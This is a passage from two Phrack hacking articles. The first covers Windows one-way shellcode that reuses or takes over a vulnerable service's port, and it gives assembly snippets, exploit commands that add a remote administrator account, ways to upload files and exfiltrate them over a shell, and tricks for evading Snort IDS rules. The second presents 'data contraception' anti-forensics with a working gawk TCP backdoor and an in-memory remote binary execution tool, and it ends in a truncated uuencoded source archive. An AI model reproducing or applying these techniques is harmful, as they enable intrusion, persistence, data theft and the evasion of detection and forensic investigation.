*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;
```

The JRun/ColdFusion exploit is attached in the Code section
(weiwei.pl). The exploit uses Reverse connect shellcode.

--[3.b.2 Problem with reverse connect shellcode

It is not unusual to find server which has been configure to block
out going connection. Firewall usually blocks all outgoing connection
from DMZ.

--[4 One-Way shellcode

With the assumption that firewall has been configured with the
following rules:

*   Blocks all ports except for listening ports of the services
*   Blocks all outgoing connections from server

Is there any way to control the server remotely? In some case, it is
possible to use existing resources in the vulnerable service to
establish the control. For example, it may be possible to hook
certain functions in the vulnerable service so that it will take over
socket connection or anything similar. The new function may check any
network packet for a specific signature. If there is, it may execute
command that attached along with the network packet. Otherwise, the
packet passes to the original function. We can then connect to the
vulnerable service with our signature to trigger a command execution.
As early as in 2001, Code Red worm uses some sort of function hooking
to deface web site
(http://www.eeye.com/html/Research/Advisories/AL20010717.html).

Another alternative will be to use resources that available from the vulnerable service. It is also possible to patch the vulnerable service to cripple the authentication procedure. This will be useful for services like database, telnet, ftp, SSH and alike. In the case of Web server, it is possible to create PHP/ASP/CGI pages in the web root that will allow remote command execution via web pages. The shellcode in the following link create an ASP page, as implemented by Mikey (Michael Hendrickx):

http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c

Code Red 2 worm also has a very interesting method to create a backdoor of an IIS server. It creates a virtual path to drive C: and D: of the server to the web root. Using these virtual paths, attacker can execute cmd.exe which will then allow remote command execution:

http://www.eeye.com/html/research/advisories/AL20010804.html

However, these implementations are specific to the service we are exploiting. We hope to find a generic mechanism to bypass the firewall rules so that we can easily reuse our shellcode. With the assumption that the only way to interact with the server is through the port of the vulnerable service, we call these shellcode, One-way shellcode:

*   Find socket
*   Reuse address socket
*   Rebind socket

--[4.a Find socket shellcode

This method was documented in LSD's paper on Unix shellcode (http://lsd-pl.net/unix_assembly.html). Although the code is for Unix, we can use the same technique in the Windows world. The idea is to locate the existing connection that the attacker was using during the attack and use that connection for communication.

Most WinSock API requires only the socket descriptor for its operation. So, we need to find this descriptor. In our implementation, we loop from 0x80 onwards. This number is chosen because socket descriptors below 0x80 are usually not relevant to our network connection. In our experience, using socket descriptor below 0x80 in WinSock API sometimes crash our shellcode due to lack of Stack space.

We will get the destination port of the network connection for each socket descriptor. It is compared with a known value. We hard coded this value in our shellcode. If there is a match, we found our connection. However, socket may not be a non-overlapping socket. Depending on the program that created the socket, there is possibility that the socket we found is an overlapping socket. If this is the case, we cannot use it directly as in/out/err handler in CreateProcess(). To get an interaction communication from this type of socket, we can anonymous pipe. Description on using anonymous pipe in shellcode can be found in article by Dark Spyrit (http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-pl.net/windows_components.html).

```
xor     ebx,ebx
        mov     bl,80h
find:
        inc     ebx
        mov     dword ptr [ebp],10h
        lea     eax,[ebp]
        push    eax
        lea     eax,[ebp+4]
        push    eax
        push    ebx                             ;socket
        call    dword ptr [edi-4]               ;getpeername
        cmp     word ptr [ebp+6],1234h          ;myport
        jne     find
found:
        push    ebx                             ;socket
```

Find socket shellcode work by comparing the destination port of the socket with a known port number. Thus, attacker must obtain this port number first before sending the shellcode. It can be easily done by calling getsockname() on a connected socket.

It is important to note that this type of shellcode should be use in an environment where the attacker is not in a private IP. If you are in a private IP, your Firewall NATing will create a new connection to the victim machine during your attack. That connection will have a different source port that what you obtain in your machine. Thus, your shellcode will never be able to find the actually connection.

Find socket implementation can be found in findsock.asm in the Code section. There is also a sample usage of find socket shellcode in hellobug.pl, an exploit for MS SQL discovered Dave Aitel.

--[4.a.1 Problem with Find socket shellcode

Find socket could be perfect, but in some case, socket descriptor of the attacking connection is no longer available. It is possible that the socket might already been closed before it reach the vulnerable code. In some case, the buffer overflow might be in another process altogether.

--[4.b Reuse address shellcode

Since we fail to find the socket descriptor of our connection in a vulnerability that we are exploiting, we need to find another way. In the worst scenario, the firewall allows incoming connection only to one port; the port which the vulnerable service is using. So, if we can somehow create a bind to port shellcode that actually bind to the port number of the vulnerable service, we can get a shell by connecting to the same port.

Normally, we will not be able to bind to a port which already been used. However, if we set our socket option to SO_REUSEADDR, it is possible bind our shellcode to the same port of the vulnerable service. Moreover, most applications simply bind a port to INADDR_ANY interface, including IIS. If we know the IP address of the server, we can even specify the IP address during bind() so that we can bind our shellcode in front of vulnerable service. Binding it to a specific IP allow us to get the connection first.

Once this is done, we just need to connect to the port number of the vulnerable service to get a shell. It is also interesting to note that Win32 allow any user to connect to port below 1024. Thus, we can use this method even if we get IUSR or IWAM account.

If we don't know the IP address of the server (may be it is using port forwarding to an internal IP), we still can bind the process to INADDR_ANY. However, this means we will have 2 processes excepting connection from the same port on the same interface. In our experience, we may need to connect a few times to get a shell. This is because the other process could occasionally get the connection.

API needed to create a reuse address shellcode:

```
*       WSASocketA()
*       setsockopt()
*       bind()
*       listen()
*       accept()
```

--[4.b.1 Reuse address shellcode implementation

```
mov     word ptr [ebp],2
push    4
push    ebp
push    4                               ;SO_REUSEADDR
push    0ffffh
push    ebx
call    dword ptr [edi-20]      ;setsockopt
mov     word ptr [ebp+2],5000h  ;port
mov     dword ptr [ebp+4], 0h   ;IP, can be 0
push    10h
push    ebp
push    ebx
call    dword ptr [edi-12]      ;bind
```

Reuse address shellcode implementation is in reuse.asm (434 bytes) in
the Code section. Same usage of this type of shellcode is implemented
in reusewb.c exploit. This exploit is using the NTDLL (WebDav)
vulnerability on IIS Web server.

--[4.b.2 Problem with reuse address shellcode

Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
is not possible.

--[4.c Rebind socket shellcode

It is not unusual to find application that actually uses SO_
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our
research did not stop there. We feel that there is a need to create a
better shellcode. Assuming that we have same restriction we have as
before. The only way to connect to the vulnerable machine is via the
port of the vulnerable service. Instead of sharing the port
gracefully as reuse address socket shellcode, we can take over the
port number entirely.

If we can terminate the vulnerable service, we can bind our shell
into the very same port that was previously used by the vulnerable
service. If we can achieve that, the next connection to this port
will yield a shell.

However, our shellcode is usually running as part of the vulnerable
service. Terminating the vulnerable service will terminate our
shellcode.

To get around with this, we need to fork our shellcode into a new
process. The new process will bind to a specific port as soon as it
is available. The vulnerable service will be forcefully terminated.

Forking is not as simple as in Unix world. Fortunately, LSD has done
all the hard work for us (http://lsd-pl.net/windows_components.html).
It is done in the following manner as implemented by LSD:

1. Call CreateProcess() API to create a new process. We must
   supply a filename to this API. It doesn't matter which file, as
   long as it exist in the system. However, if we choose name like
   IExplore, we might be able to bypass even personal firewall. We
   also must create the process in Suspend Mode.
2. Call GetThreadContext() to retrieve the environment of the
   suspended process. This call allows us to retrieve various
   information, including CPU registry of the suspended process.
3. Use VirtualAllocEx() to create enough buffer for our shellcode
   in the suspended process.
4. Call WriteProcessMemory() to copy our shellcode from the
   vulnerable service to the new buffer in the suspended process.
5. Use SetThreadContext() to replace EIP with memory address of
   the new buffer.

6.   ResumeThread() will resume the suspended thread. When the
        thread starts, it will point directly to the new buffer which
        contains our shellcode.

The new shellcode in the separate process will loop constantly trying to bind to port of the vulnerable service. However, until we successfully terminate the vulnerable machine it will not be able to continue.

Back in our original shellcode, we will execute TerminateProcess() to forcefully terminate the vulnerable service. TerminateProcess() take two parameters, the Process handle to be terminated and the return value. Since we are terminating the current process, we can just pass -1 as the Process Handle.

As soon as the vulnerable service terminated, our shellcode in a separate process will be able to bind successfully to the specific port number. It will continue to bind a shell to that port and waiting for connection. To connect to this shell, we just need to connect to the target machine on the port number of the vulnerable service.

It is possible to improve the shellcode further by checking source port number of IP before allowing a shell. Otherwise, anyone connecting to that port immediately after your attack will obtain the shell.

--[4.c.1 Rebind socket shellcode implementation

Rebind socket shellcode is implemented in rebind.asm in the Code section. We need to use a lot of APIs in this shellcode. Loading these APIs by name will make our shellcode much bigger than it should be. Thus, the rebind socket shellcode is using another method to locate the APIs that we need. Instead of comparing the API by its name, we can compare by its fingerprint/hash. We generate a fingerprint for each API name we want to use and store it in our shellcode. Thus, we only need to store 4 bytes (size of the fingerprint) for each API. During shellcode execution, we will calculate the fingerprint of API name in the Export Table and compare it with our value. If there is a match, we found the API we need. The function that loads an API address by its fingerprint in rebind.asm was ripped from HD Moore's MetaSploit Framework (http://metasploit.com/sc/win32_univ_loader_src.c).

A sample usage of a rebind socket shellcode can be found rebindwb.c and lengmui.c in the Code section. Rebindwb.c is an exploit modified from the previous WebDAV exploit that make use of Rebind shellcode. It will attack IIS, kill it and take over its port. Connecting to port 80 after the exploit will grant the attacker a shell.

The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP 1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP 1433 will grant the attacker a shell.

--[4.d Other one-way shellcode

There are other creative mechanisms being implemented by Security Expert in the field. For example, Brett Moore's 91 bytes shellcode as published in Pen-Test mailing list (http://seclists.org/lists/pen-test/2003/Jan/0000.html). It is similar to the Find Socket shellcode, only that, instead of actually finding the attacking connection, the shellcode create a new process of CMD for every socket descriptor.

Also similar to Find socket shellcode, instead of checking the destination port to identify our connection, XFocus's forum has discussion on sending additional bytes for verification. Our shellcode will read 4 more bytes from every socket descriptor, and if the bytes match with our signature, we will bind a CMD shell to that connection. It could be implemented as:

```
*       An exploit send additional bytes as signature ("ey4s") after
        sending the overflow string
*       The shellcode will set each socket descriptor to non-blocking
*       Shellcode call API recv() to check for "ey4s"
*       If there is a match, spawn CMD
*       Loop if not true
```

It is also possible to send it with "MSG_OOB" flag. As implemented by
san _at_ xfocus d0t org.

Yet, another possibility is to implement shellcode that execute
command that attached in the shellcode it self. There is no need to
create network connection. The shellcode just execute the command and
die. We can append our command as part of the shellcode and execute
CreateProcess() API. A sample implementation can be found on dcomx.c
in the Code section. For example, we can use the following command to
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.

```
# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"
```

--[5 Transferring file using shellcode

One of the most common things to do after you break into a box is to
upload or download files. We usually download files from our target
as proof of successful penetration testing. We also often upload
additional tools to the server to use it as an attacking point to
attack other internal server.

In the absent of a firewall, we can easily use FTP or TFTP tools
found in standard Windows installation to get the job done:

```
*       ftp -s:script
*       tftp -i myserver GET file.exe
```

However, in a situation where there is no other way to go in and out,
we can still transfer file using the shell we obtain from our One-way
shellcode. It is possible to reconstruct a binary file by using the
debug.exe command available in almost every Windows.

--[5.a Uploading file with debug.exe

We can create text file in our target system using the echo command.
But we can't use echo to create binary file, not with the help from
debug.exe. It is possible to reconstructing binary using debug.exe.
Consider the following commands:

```
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
```

The echo command will construct a debug script which contains
necessary instructions code in hex value to create a simple binary
file. The last command will feed the script into debug.exe, which
will eventually generate our binary file.

However, we cannot construct a binary file larger than 64k. This is
the limitation of the debug.exe itself.

--[6.b Uploading file with VBS

Thus, a better idea to upload a binary file is to use Visual Basic
Script. VBS interpreter (cscript.exe) available by default in almost
all Windows platform. This is our strategy:

1.   Create a VBS script that will read hex code from a file and
        rewrite it as binary.
2.   Upload the script to target using "echo" command.
3.   Read file to be uploaded, and "echo" the hex code to a file in
        the target server.
4.   Run the VBS script to translate hex code to binary.

A sample script like below can be use to read any binary file and
create the correspondence ASC printable hex code file.

```
dread: while (1){
        $nread2 = sysread(INFO, $disbuf, 100);
        last dread if $nread2 == 0;
        @bytes = unpack "C*", $disbuf;
        foreach $dab (@bytes){
                $txt .= sprintf "%02x", $dab;
        }
        $to .= "echo $txt >>outhex.txt\n";
        $nnn++;
        if ($nnn > 100) {
                print SOCKET $to;
                receive();
                print ".";
                $to="";
                $nnn=0;
        }
        $txt = "";
}
```

Then, we create our VBS decoder in the target machine - "tobin.vbs".
We can easily use "echo" command to create this file in the target
machine. This decoder will read the outhex.txt created above and
construct the binary file.

```
Set arr = WScript.Arguments
Set wsf = CreateObject("Scripting.FileSystemObject")
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE)
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE)
do while infile.AtEndOfStream = false
        line = infile.ReadLine
       For x = 1 To Len(line)-2 Step 2
                        thebyte = Chr(38) & "H" & Mid(line, x, 2)
                        file.write Chr(thebyte)
       Next
loop
file.close
infile.close
```

Once the decoder is in the target machine, we just need to execute it
to convert the Hex code into a binary file:

```
# cscript tobin.vbs outhex.txt out.exe
```

--[5.c Retrieving file from command line

Once we have the ability to upload file to the machine, we can upload
a Base64 encoder to the target machine. We will use this encoder to
encode any file into a printable Base64 format. We can easily print
the output of the Base64 encoded in command line and capture the text.
Once we have the complete file in Base64, we will save that into a
file in our machine. Using WinZip or any Base64 decoder, we can

convert that file back into its binary form. The following command
allows us to retrieve any file in our target machine:

```
print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();
```

Fortunately, all these file upload/downloading can be automated.
Refer to hellobug.pl in the Code section to see file transfer in
action.

--[6 Avoiding IDS detection

Snort rules now have several Attack-Response signatures that will be
able to detect common output from a Windows CMD shell. Every time we
start CMD, it will display a banner:

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk
```

There is a Snort rule that capture this banner:

http://www.snort.org/snort-db/sid.html?sid=2123

We can easily avoid this by spawning cmd.exe with the parameter of
"/k" in our shellcode. All we need to do is just to add 3 more bytes
in our shellcode from "cmd" to "cmd /k". You may also need to add 3
to the value in the decoder that count the number of byte that we
need to decode.

There is also another Snort rules that capture a directory listing of
the "dir" command in a Windows shell:

http://www.snort.org/snort-db/sid.html?sid=1292

The rule compares "Volume Serial Number" in any established network
packet, if there is a match, the rule will trigger an alert.

```
# dir
 Volume in drive C is Cool
 Volume Serial Number is SKSK-6622

 Directory of C:\Documents and Settings\sk

06/18/2004  06:22 PM    <DIR>          .
06/18/2004  06:22 PM    <DIR>          ..
12/01/2003  01:08 AM                58 ReadMe.txt
```

To avoid this, we just need to include /b in our dir command. It is
best if we set this in an environment so that dir will always use
this argument:

```
# set DIRCMD=/b
# dir
ReadMe.txt
```

Snort also has signature that detect "Command completed" in:

http://www.snort.org/snort-db/sid.html?sid=494

This command usually generated by the "net" command. It is easy to
create a wrapper for the net command that will not display "Command
completed" status or use other tools like "nbtdump", etc.

--[7 Restarting vulnerable service

Most often, after a buffer overflow, the vulnerable service will be unstable. Even if we can barely keep it alive, chances are we will not be able to attack the service again. Although we can try to fix these problem in our shellcode, but the easiest way is to restart the vulnerable service via our shell. This usually can be done using "at" command to schedule a command that will restart the vulnerable service after we exit from our shell.

For example, if our vulnerable service is IIS web server, we can reset it using a scheduler:

```
#at <time> iisreset
```

In the case of MS SQL Server, we just need to start the sqlserveragent service. This is a helper service installed by default when you install MS SQL Server. It will constantly monitor and check if the SQL Server process is running. If it is not, it will be started. Executing the following command in our shell will start this service, which in turn, help us to MS SQL Server once we exit.

```
#net start sqlserveragent
```

Another example is on the Workstation service bug discovered by Eeye. In this case, we don't have a helper service. But we can kill the relevant service, and restart it.

```
1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f

2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger"   <== optional
...
```

If we exit our shellcode now, we can attack the machine via the Workstation exploit again.

--[8 End of shellcode?

Shellcode is simple to use and probably easiest to illustrate the severity of a vulnerability in proof of concept code. However there are a few more advance payload strategies released to the public by LSD's Windows ASM component, Core Security's Syscall Proxy, Dave Aitel's MOSDEF, etc. These payloads offer much more than a shell. The References section provides a few good pointers to get more information. We hope you enjoy reading our article as much as other quality article from Phrack.

--[9 Greetz!

There are many good fellows we would like to thank for their continuous source of information to feed our hunger for knowledge. Without these guys, the security field will be boring.

My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and the rest of =da scan clan=, Ey4s, San and all that support XFocus team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh! Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost! BrightVaio! L33tdawg and the rest of HackInTheBox team!

Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many others Blackhat speakers for their excellence research!

```
--[ 10 References
```

```
*       Code to this article:
        http://www.scan-associates.net/papers/one-way.zip

*       Shellcode and exploit:
        HSJ - http://hsj.shadowpenguin.org/misc/

*       More shellcode!
        HD Moore - http://www.metasploit.com

*       Advance payload:
        CORE Security

*       Syscall Proxying (http://www.blackhat.com/html/bh-usa-
        02/bh-usa-02-speakers.html#Maximiliano Caceres)

*       Inlineegg
        (http://oss.coresecurity.com/projects/inlineegg.html)

*       LSD (http://www.hivercon.com/hc02/talk-lsd.htm)

*       Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
        speakers.html#Riley Hassel)

*       Dave Aitel (http://www.immunitysec.com/MOSDEF/)

*       Alexander E. Cuttergo (Impurity)
```

```
--[ 11 The code

Please see http://www.scan-associates.net/papers/one-way.zip

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x08 of 0x10

```
|=-----=[ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=---------=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ by grugq ]=-------------------------------=|
```

```
 1 - Abtract
 2 - Introduction
 3 - Principles
 4 - Background
 5 - Requirements
 6 - Design and Implementation
   6.1 - gdbprpc
   6.2 - ul_exec
 7 - Conclusion
 8 - Greets
 9 - Bibliography
10 - SourceC0de
```

---[1 - Abstract

The infrastructue of anti-forensics is built on the three strategies of data destruction, data hiding and data contraception. The principles of data contractеption, and a technique for executing a data contraception attack are presented. This technique provides the ability to execute a binary on a remote system without creating a file on the disk.

---[2 - Introduction

In the years since the introduction of the first two strategies of anti-forensics [grugq 2002], there has been little additional public research on anti-forensics. This paper introduces and discusses a third core anti-forensics strategy: data contraception. Like the other anti-forensic strategies, data destruction and data hiding, data contraception seeks to reduce the quantity and quality of forensic evidence. Data contraception achieves this by using two core principles: preventing data from reaching the disk, and using common utilities, rather than custom tools, wherever possible.

The rest of this paper will explore data contraception, looking first at the core principles of data contaception, then at the requirements for a data contraception tool, and finally the design and implemenation of such a tool: rexec (remote exec).

--[3 - Principles

Data contraception is the attempt to limit the quantity and quality of forensic evidence by keeping forensically valuable, or useful, data off the disk. To accomplish this there are two core techniques for interacting with the operating system: firstly, operate purely in memory, and secondly use common utilities rather than custom crafted tools.

The first principle of data contraception, keeping data off the disk, is most important when dealing with files that interact directly with the operating system such as binaries, LKMs and scripts. The second principle is for guidance when implementing the first principle, and it ensures that any data which does touch the disk is of limited value to a forensic analyst.

Operating in memory only is not a new technique and its already fairly well understood with regards to rootkit development. However, using in memory only techniques during a penetration is not as thoroughly documented in the literature. Within rootkit technologies, the most frequently encountered technique for operating in memory is to use ptrace() to attach to an existing process and inject code into it's address space. Additionaly, injecting kernel modules directly into the kernel is also a well known

technique. This paper will focus on developing in memory systems for
penetration tools.

Implementing an in-memory-only system requires a program on the remote
target host acting as a server to interact with the operating system. This
server acts as either an Inter Userland Device (IUD) -- providing access to its
own address space -- or an Intra Userland Device (IUD) -- providing access to
another address space. In either case, this IUD is critical to the effective
execution of a successful data contracteption attack.

The second principle of data contraception is critical in reducing the
effectiveness of a forensic examination. The use of common utilties means
that nothing of value exists for an analyst to recover. An example would be
a back door written using gawk. Since some version 3.x, GNU Awk has
supported network programming. Why the GNU people added network support to
a text processing tools is something of a mystery, however it is a useful
feature for a data contraception attack. Here is a proof of concept
backdoor developed in a few minutes using gawk.

```
[-------------------------------------------------------------------------]
        #!/usr/bin/gawk -f

        BEGIN {
                Port    =       8080
                Prompt  =       "bkd> "

                Service = "/inet/tcp/" Port "/0/0"
                while (1) {
                        do {
                                printf Prompt |& Service
                                Service |& getline cmd
                                if (cmd) {
                                        while ((cmd |& getline) > 0)
                                                print $0 |& Service
                                        close(cmd)
                                }
                        } while (cmd != "exit")
                        close(Service)
                }
        }
[-------------------------------------------------------------------------]
```

To effectively use a script, such as the above, in an attack, the attacker
would employ the first principle of anti-forensics. In practice, this means
the attacker would launch the script interpretor and then copy the script
itself to the interpretor's stdin. This prevents the script from appearing
on the disk where it might be discovered during a forensic analysis.

Using these two core principles of data contraception, the rest of this
paper will examine some existing data contraception tools, along with the
design and implementation of remote exec: rexec.

---[4 - Background

There are already several projects which use a data contraception
methodology, although the terminology for data contraception is more recent
than their development. The projects that the author is aware of are:
MOSDEF; Core Impact, and ftrans. The first two projects are commercial
penetration testing tools, the last is an "anti-honeypot" tool.

Core Impact implements a data contraception techinque called "syscall
proxying". Core Impact uses an exploited process as an IUD (Intra), and a
client which contains the attacker's "business logic". The IUD server
executes system calls for the client and returns the result. This allows
the attacker's code to run locally on the client system, and yet behave as
if it were local to the remote system. According to Dave Aitel, there are
problems with technique, mostly related to execution speed and complexities
involving fork().

As a solution to the problems he experienced implementing the Core Impact syscall proxying technique, Dave Aitel developed MOSDEF. MOSDEF uses an exploited process as an IUD (Intra), and a client which contains a compiler. This allows a penetration tester to build an arbitrary program on the client and inject it into the address space under the control of the IUD for execution. In this technique, the attacker's code runs on the remote host, however it exists only in memory. The problems with this technique are limitations in the size and complexity of the attacker's code, and all of the issues related to implementing a compiler.

Unrelated to the previous two penetration testing programs, ftrans is a pure anti-forensics tool designed to operate in the extremely hostile forensic environment of a honey pot. The ftrans program uses a custom built server which uses SSL to copy a binary from the client into it's own address space. It then uses ul_exec() [grugq 2004] to execute the binary from a memory buffer. This technique is most similar to what this paper will discuss, the design and implementation of rexec.

---[5 - Requirements

With data contraception, any action which requires the creation of a file is to be avoided. The most common reason for requiring a file is to execute a binary. Building a tool which can execute an arbitrary binary on a remote host leaves open any number of possible implementations. The requirements need to be narrowed down to a manageable set using the principles of data contracteption. From those requirements it is then possible to develop a design and implementation.

Firstly, the tool has to be able to run over any number of shell connections, so the communications protocol between the client and server should be ASCII text based. Using ASCII text will mean a slow protocol, however robustness and effectiveness, rather than speed, are critical to the performance of the tool in the real world.

Secondly, the IUD server has to be a common Unix utility rather than a custom crafted tool. That way, the discovery of the server does not indicate that the compromised machine has been subjected to a data contracteption attack. Using a common utility rather than writing a custom tool means that the IUD server will not be intellegent in how it operates. Based on the preceeding requirements, its clear that the client has to be complex to compensate for the dumb server. This is acceptable because the user of a data contraception tool will have complete control over at least one machine.

---[6 - Design and Implementation

The core design for a data contraception tool to execute binaries on a remote system purely from memory is:

```
        *) use an IUD to gain access to an address space
        *) upload the binary to execute into memory
        *) load the binary into an address space
        *) transfer control of execution to the binary
```

A library to load ELF binaries from memory into an existing address space already exists: ul_exec. Using ul_exec allows the tool to simply upload a copy of ul_exec and the binary, then transfer control to ul_exec(). Therefore, in order to implement the data contraception tool, all that is required is a suitable IUD.

A suitable IUD would have to be a common Unix utility which can manipulate registers and memory and accepts commands as text. There is one obvious solution: gdb. The GNU debugger uses text commands to interact with, and operate on, a slave child process.

Using gdb as an IUD allows an attacker to be exploit agnost for anti-forensic attacks. After using an arbitrary exploit to gain access to a shell, an attacker is able to execute any binary without creating a forensic trace. By the same token, once an attacker has shell access to a host, he is able to execute an artibtrary command without leaving any evidence of forensic value. An IUD seperate from an exploited process

allows an attacker to use anti-forensic attacks at any point after owning
a box, rather than only during the initial exploitation phase.

--[6.1 - gdbprpc

To interface with gdb, a library was written which creates wrappers for the
core functions of an IUD. These are memory and register access, and control
over the execution of various regions of code. This library, gdbrpc,
creates an arbitrary slave child process for an address space to
manipulate.

Each gdbrpc session is described by an abstract object: rgp_t. This object
is created using rgp_init(), which takes a readable and writeable file
descriptor to a pty based shell. The facilities to execute system calls and
examine and set memory contents are encapsulated behind standardised
function calls. For example:

```
        int rgp_brk(rgp_t *rp, void * end_data_segment);
        void rgp_set_addr32(rgp_t *rp, void *addr, unsigned int val);
        unsigned int rgp_get_addr32(rgp_t *rp, void *addr);
        void rgp_set_reg(rgp_t *rp, rgp_reg reg, unsigned int val);
```

Copying data into and out of a slave process is accomplished using the
functions:

```
        void rgp_copy_to(rgp_t *rp, void *remote, void *local, size_t n);
        void rgp_copy_from(rgp_t *rp, void *local, void *remote, size_t n);
```

With the gdbrpc API set, it is trivial to allocate memory in a process,
copy in arbitrary quantities of code and data, and transfer control of
execution.

--[6.2 - ul_exec

In order for the ul_exec library to be correctly loaded into the address
space it needs to be relocated to the load address. This is done internally
within rexec. First, rexec allocates the space for the library in the
remote address space with rpg_mmap(). The address of that space is then
used to relocate an internally loaded copy of the ul_exec library, and the
resultant relocated library is then loaded remotely.

With the ul_exec library loaded in an address space, all that is required
is creating a memory buffer containing the desired ELF binary. This is
trivially accomplished using rgp_mmap() and rgp_copy_to().

Finally, putting it all together it is possible to encapsulate the entire
process into a single call:

```
        int rx_execve(int fd, char *fname, int argc, char **argv);
```

--[7 - Conclusion

Along with the other two anti-forensic strategies, data destruction and
data hiding, data contraception helps an attacker reduce the effectiveness
of a forensic analysis. Data contraception attack techniques have been used
frequently in the past, although without the articulation of the formalised
core principlies. These two principles, operating in memory to keep data
off the disk, and using common utilities rather than incriminating custom
crafted tools, form the core of the data contraception strategy. A frequent
component of data contraception attacks is an IUD, which acts as a server
providing the client access to the operating system without altering the
file system.

A tool which implements a data contraception attack, remote exec, uses gdb
as an IUD providing access to a slave process' address space. Accessing rexec
requires a complex client which can gain access to a pty based shell. A tool
to encapsulate the rexec protocol has been developed: xsh. The "eXploit
SHell" is embedded within screen and provides a rich data contraception
environment for penetration time anti forensic attacks.

--[8 - Greets

gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random,
joey, mikasoft, eugene.

--[9 - Bibliography

- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix
  http://www.phrack.org/phrack/59/p59-0x06.txt

- grugq 2004 - The Design and Implementation of ul_exec
  http://www.hcunix.net/papers/grugq_ul_exec.txt

--[10 - SourceC0de

```
begin 600 rexec-0.8.5.tar.gz
M'XL(`'6RYT```^P\85/;2++[U?H'8[-R6`;&QOR*@[L$>)<N"()1=C;W6)Y
M+EF6;5UD22O)!&Z3_>VONV=&,Y)E2-X+I&X?JE2P6CT]/3W=/=TS+27>E>=N
M?7>G5[O=:S_9V<&_?)7_\N].N_VD\V1[I]?M?-?NM'=W=[^#G;ME2UR+-',2
M@.^2*,INPKOM^7_HE?#\I\E=ZL`7S7_O"<Y_I[?;>YC_^[CT_+]VWGL3/_"^
M?A]HS^W=7F_5_'?:.[MJ_GN=[2[B=SN=SG?0_OJL+%___S^?_[.U);:_6:EG6
MX2'^F+JN=?CVY.P=_F[^Y`0!-'_RDB*H#F=CD?6B\%+?&0=O3D_O'%@)".
M6M`\6K>13GW+#]U@,?8T`)LDL:O@UN'+XX._$^EUFSNIP[HM2=%/(EZWK(-3
MQ,`Y22SKW2DQ]:L%?-5J3N"G6<NM(:A6FX\6$_4[\8(TTC>HTRW7LMX^_T=%
M\\AH'IG-([-Y9%G'1\^Q>>"/!,2Q7@T.7@Q.!6P1,'!F62BEI\B]>$CCP'8X
M#/&7GB`;=0O'?)`_54"KA1T1"@Z440X/Z9F04QV:+C0C6/\;K#\C>K*'IX#=
M;\]:Z<RJM;;4;\AY@E9K:Q$,<\/6S*81[&M.+6N,XG`#SPF!_W*5BV90W,"
M&ZT(-O[0S*H6WUI;'ZZO?6G_+TWH#OJXV?]W>G@)_]][N$_Q-]^TGWRX/_O
MX_J+\MG/TFSL1ZW9OE4`H?,HPQ(_G!9A$$S?,@B)H$:)/O&9>:7=;3$M0`
M>\&DB,>>N0`1NEEL)M86`1QCY!)ZM8/CH[^_L=\-7BX\<W3_[YBB5<HE`3;J
M]<=_T$6.._.'UB.PTX;,`(6^#0/]@9`E,@S5"(T[!"&S$#>*)'\T9(:%N^<E\Z
M!H^`2?\&))7$"!J1&C!P\;([G#&<R4F@=B9AUE>:&*EJ.SP>K<&3.AS)T!!Y5@
M$G@I_U'A7T/'>&2H;0Y!,GLNF6)U\>ETG+U`ER`1T`<[>T<!%BP#SQ`"U`J
M7'\=P3&O.[TG,,1-O9XK=9*&KJNB?"T#3.2L9V0Y"9N'5AJ,0!Z5!'\<K,_=2Q
M06$CBG]8YJHN_"M+*;UIIN(B-?_PUOZV6]^@BP)M[/2`L</@4UX'0_N9]'I.1
MY5=`+!\?@%W?,!V**4;]3CAV:V_$R0K=@V.&,2$**8&7BXDG3,'=TG`+5)EIO,
M3[R<!=X&S:*^_%OK%W$<!KY$9<BQ*U<B.DA]DRS)-!>\KBR-NRRW*Y<+''EDDC
M"F9%0<<W]J!\,9A7>#B!DW?.'\$N,N-#PLIXJ?]R'(W9X&!+\8^:R4AH;4$\-
M0'BDO*K`3\1Y.)U!;]DC#'.R:>5N,!$*_MR`9;T!YU'A.+(NMW+/H:C;G4=N8
MM&N/2(G:*"B6$K>:D9G\Z+N#?'>VSK&/>3T:8WZ-)':QG&8OW@3QA1KI_D#!8
M,NX/*O#=8T>#_27W5%3ZPZY]Q$WJ]E1:-FO$&[@E.PQ@\9/3\C+?0%K:/2+?:\
MHJ?N^+C/]`S%/EM*=%%&&7<'L6"+FTO*5E+-.HX2\,5#=_AH$@6_#5^"=FZ)OO
MFA+A%$0N1%@81@CN<]:B,_Y9_[3HFBK1:F5S=*#^8X@RL_`RV*;=/GTKQ$`/OS
